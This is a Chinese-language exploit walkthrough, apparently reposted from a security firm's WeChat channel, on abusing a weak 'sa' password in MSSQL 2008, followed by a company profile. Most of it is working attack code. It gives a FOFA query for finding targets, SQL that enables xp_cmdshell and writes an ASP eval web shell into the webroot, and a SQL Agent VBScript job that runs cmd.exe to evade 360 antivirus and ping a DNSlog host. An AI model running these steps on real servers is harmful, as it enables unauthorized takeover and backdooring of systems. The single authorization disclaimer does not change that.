0x01 漏洞描述
MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。当MSSQL数据库管理员账号对应密码的长度太短或者复杂度不够,仅包含数字,或仅包含字母等,攻击者可以利用弱口令直接登录系统,获取系统权限。
0x02 漏洞复现
漏洞环境:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
FOFA: "sqlserver"
1.通过弱口令sa:123456进入数据库,查看数据库版本
select @@version
2.查看路径,可以看到inetpub路径,那么就可以遍历目录推断出web路径C:inetpubwwwroot
execute master..xp_dirtree 'c:',1,1 --
3.通过xp_cmdshell,写入webshell成功,如下(xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出,但是如果有360一般不能执行)
-- 查询是否存在xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype = 'x' AND name='xp_cmdshell'
-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 执行命令
EXEC master.dbo.xp_cmdshell 'echo ^<^%^@Page Language=^"^Jscript^"^%^>^<^%^eval(Request.Item^[^"cc^"^]^,^"unsafe^")^;^%^>>C:inetpubwwwroot1.asp'--
4.由于会被360拦截,我们换一种方式
5.使用AgentJob 360不会拦截,但是没有回显,我们使用vbscript方式执行ping命令pingDNSlog服务,DNSlog服务收到ping,如图:
(注:Express版本的SQL Server不支持Agent服务,开发版或者企业版才支持,而且利用AgentJob需要开启SQL Agent服务)
#注:vb_job16会有缓存,需批量替换修改成任意名字
USE msdb;
EXEC dbo.sp_add_job @job_name = N'vb_job16' ;
EXEC sp_add_jobstep
@job_name = N'vb_job16',
@step_name = N'vb_step',
@subsystem = N'ACTIVESCRIPTING',
@command=N'FUNCTION Main()
dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:windowssystem32cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org")
set shell = nothing
END FUNCTION',
@database_name = "VBScript",
@retry_attempts = 1,
@retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'vb_job16';
EXEC dbo.sp_start_job N'vb_job16';
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
编制:sm
审核:fjh
审核:Dog
原文始发于微信公众号(融云攻防实验室):漏洞复现-MSSQL 2008弱口令利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论